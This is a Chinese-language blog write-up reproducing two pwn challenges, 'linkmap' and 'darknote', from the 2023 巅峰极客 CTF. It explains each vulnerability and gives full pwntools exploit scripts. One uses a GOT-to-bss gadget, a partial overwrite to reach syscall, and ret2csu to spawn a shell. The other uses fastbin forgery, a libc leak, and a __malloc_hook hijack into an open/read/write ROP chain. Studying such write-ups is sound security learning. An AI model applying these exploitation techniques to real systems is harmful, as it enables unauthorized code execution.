2023-巅峰极客部分复现-pwn

本文最后更新于:2023年7月25日 下午

2023-巅峰极客部分复现-pwn

linkmap

本来以为是一道常规的ret2dlresolve,结果开了Full RELRO保护,就没啥思路了。比赛中就放弃了,转而忙自己的事情了。赛后看wp,发现师傅们是找了一个magic gadget,将read的got表地址写到bss段上。实际上,我当时也看到了那个gadget,但还是没想到利用思路。太菜了。。。

查看保护

image-20230724170702835

上来就怼了一个栈溢出。

image-20230724171043511

可以找到这样一段gadget,可以控制rbp指向got表,从而将read地址写到bss段上。

image-20230724171221611

大致思路如下:

  1. 栈溢出覆盖rbp为read_got + 8,将read写到bss段上
  2. 调用read_plt,覆盖bss段上read地址最后一位,使其变为syscall
  3. 利用csu的gadget,调用execve
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
#!/usr/bin/python
#encoding:utf-8

from pwn import *

context.arch = 'amd64'
context.log_level = 'debug'

fn = './ezzzz'
elf = ELF(fn)
libc = elf.libc

debug = 1
if debug:
p = process(fn)

else:
p = remote()


def dbg(s=''):
if debug:
gdb.attach(p, s)
pause()

else:
pass

lg = lambda x, y: log.success(f'{x}: {hex(y)}')


bss = elf.bss() + 0x400 # 0x601410

read_plt = elf.plt['read']
read_got = elf.got['read']

csu_down = 0x4007D6
csu_up = 0x4007C0

pop_rdi_ret = 0x00000000004007e3
pop_rsi_r15_ret = 0x00000000004007e1
pop_rbp_ret = 0x0000000000400570
leave_ret = 0x0000000000400712

# 0x000000000040066b: lea rdx, [rax + 0x601020]; mov rax, qword ptr [rbp - 8]; mov qword ptr [rdx], rax; nop; pop rbp; ret;
magic_gadget = 0x40066B

myread = 0x601120
payload = flat(
{
0x18: [
pop_rdi_ret, 0, pop_rsi_r15_ret, bss, 0, read_plt,
pop_rbp_ret, read_got + 8,
magic_gadget, bss + 0x18,
pop_rdi_ret, 0, pop_rsi_r15_ret, myread - 0x3b + 1, 0, read_plt,
leave_ret
]
}, filler='\x00', length=0x100
)

# dbg()

p.send(payload)

payload = flat(
{
0: bss + 8,
0x10: '/bin/sh\x00',
0x20: [
csu_down, 0, 0, 1, myread, 0, 0, bss + 0x10, csu_up
]
}, filler='\x00', length=0x100
)
p.send(payload)

payload = 'a' * 0x3a + '\xd0'
p.send(payload)

p.interactive()

image-20230724172035253

darknote

这道题漏洞点与2022年国赛初赛的漏洞点一样,都是一开始给了个整数溢出,可以任意地址分配,任意地址泄露。国赛那道题可以看Ayakaaa师傅的博客

这道题恶心人的地方是,把show、delete与edit都canary绑定到了一块,必须使canary低4位为0才可以使用其功能。我的思路一开始就错了,一直想着如何使canary为0,到最后也没能解出来。赛后看师傅们的wp,发现仅仅使用add就可以完成利用,那几个函数可能是起迷惑作用,很不幸,一开始就被骗了。

查看保护,没有开PIE。

image-20230724173022279

没有限制notes_num的大小。

image-20230724173129657

edit、show与delete都与canary绑定了。

image-20230724173233073

add函数固定分配0x68大小的chunk,且只能写0x60bytes。

image-20230724173418333

这里的menu也有点与众不同,可以用来泄露libc地址。

image-20230724173821044

大致思路为:

  1. 利用任意地址分配伪造main_arena的fastbin[0x70],需要注意fastbin大小检测。这里伪造chunk块大小与fd指针,通过把fd内容放入tcache绕过大小检测。
  2. 覆盖menu的指针为got表项,泄露libc地址
  3. 由于最大只能分配0x68的堆块,这里通过打栈完成利用,提前在栈上布置好rop链,覆盖malloc_hook为magic gadget,使其跳转到我们的rop链上。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
from pwn import *
from pwn import p64, u64, p16, p32

context.arch = 'amd64'
context.log_level = 'debug'

fn = './darknote'
elf = ELF(fn)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

debug = 1
if debug:
p = process(fn)
else:
p = remote()

def dbg(s=''):
if debug:
gdb.attach(p, s)
pause()

else:
pass

lg = lambda x, y: log.success(f'{x}: {hex(y)}')

def menu(index):
p.sendlineafter('>> ', str(index))


def add(index, content='l1s00t'):
menu(1)
p.sendlineafter('Index: ', str(index))
p.sendlineafter('Note: ', content)


# vmmap_base = 0x7ffff7bbc000
p.sendlineafter('dark notes do you want?', str(0x40040000))

# main_arena -> fastbins
add(0x3edba8 // 8, p64(0) + p64(0x71) + p64(0x404240))

add(0)
add(1, p64(0) * 2 + p64(elf.got['puts']))

puts = u64(p.recvuntil('\x7f')[-6:].ljust(8, b'\x00'))
lg('puts', puts)

libc_base = puts - libc.sym['puts']
lg('libc_base', libc_base)

malloc_hook = libc_base + libc.sym['__malloc_hook']
environ = libc_base + libc.sym['__environ']
curbrk = libc_base + libc.sym['__curbrk']

add(0x3edba8 // 8, p64(0) + p64(0x71) + p64(0x404240))
add(0)
add(1, p64(0) * 2 + p64(environ))

stack = u64(p.recvuntil('\x7f')[-6:].ljust(8, b'\x00'))
lg('stack', stack)

bss = 0x404400
pop_rdi_ret = 0x0000000000401dc3
pop_rbp_ret = 0x000000000040131d
leave_ret = 0x00000000004014f8
pop_rsi_ret = libc_base + 0x000000000002601f
pop_rdx_ret = libc_base + 0x0000000000142c92
pop_rax_ret = libc_base + 0x0000000000036174
syscall_ret = libc_base + 0x00000000000630a9

# add rsp, 0xe0; pop rbx; ret
magic_gadget = libc_base + 0x00000000000ddc57

add(0x3edba8 // 8, p64(0) + p64(0x71) + p64(stack - 0x98))
add(0)

payload = flat(
{
0: [
pop_rbp_ret, bss - 0x8, pop_rdi_ret, 0, pop_rsi_ret, bss, pop_rdx_ret, 0x100,
elf.plt['read'], leave_ret
],
}
)
add(1, payload)

add(0x3edba8 // 8, p64(0) + p64(0x71) + p64(malloc_hook - 0x10))
add(0)
add(1, p64(magic_gadget))

# dbg()

menu(1)
p.sendlineafter('Index: ', str(4))

flag_addr = bss + 0xf0
data = bss + 0x800
rop_data = [
pop_rax_ret, # sys_open('flag', 0)
2,
pop_rdi_ret,
flag_addr,
pop_rsi_ret,
0,
syscall_ret,

pop_rax_ret, # sys_read(flag_fd, heap, 0x100)
0,
pop_rdi_ret,
3,
pop_rsi_ret,
data,
pop_rdx_ret,
0x40,
syscall_ret,

pop_rax_ret, # sys_write(1, heap, 0x100)
1,
pop_rdi_ret,
1,
pop_rsi_ret,
data,
pop_rdx_ret,
0x40,
syscall_ret
]

payload = flat(
{
0: rop_data,
0xf0: 'flag'
}, filler='\x00', length=0x100
)

p.send(payload)

p.interactive()

image-20230724174228721


2023-巅峰极客部分复现-pwn
http://example.com/2023/07/23/2023-巅峰极客部分复现-pwn/
作者
l1s00t
发布于
2023年7月23日
更新于
2023年7月25日
许可协议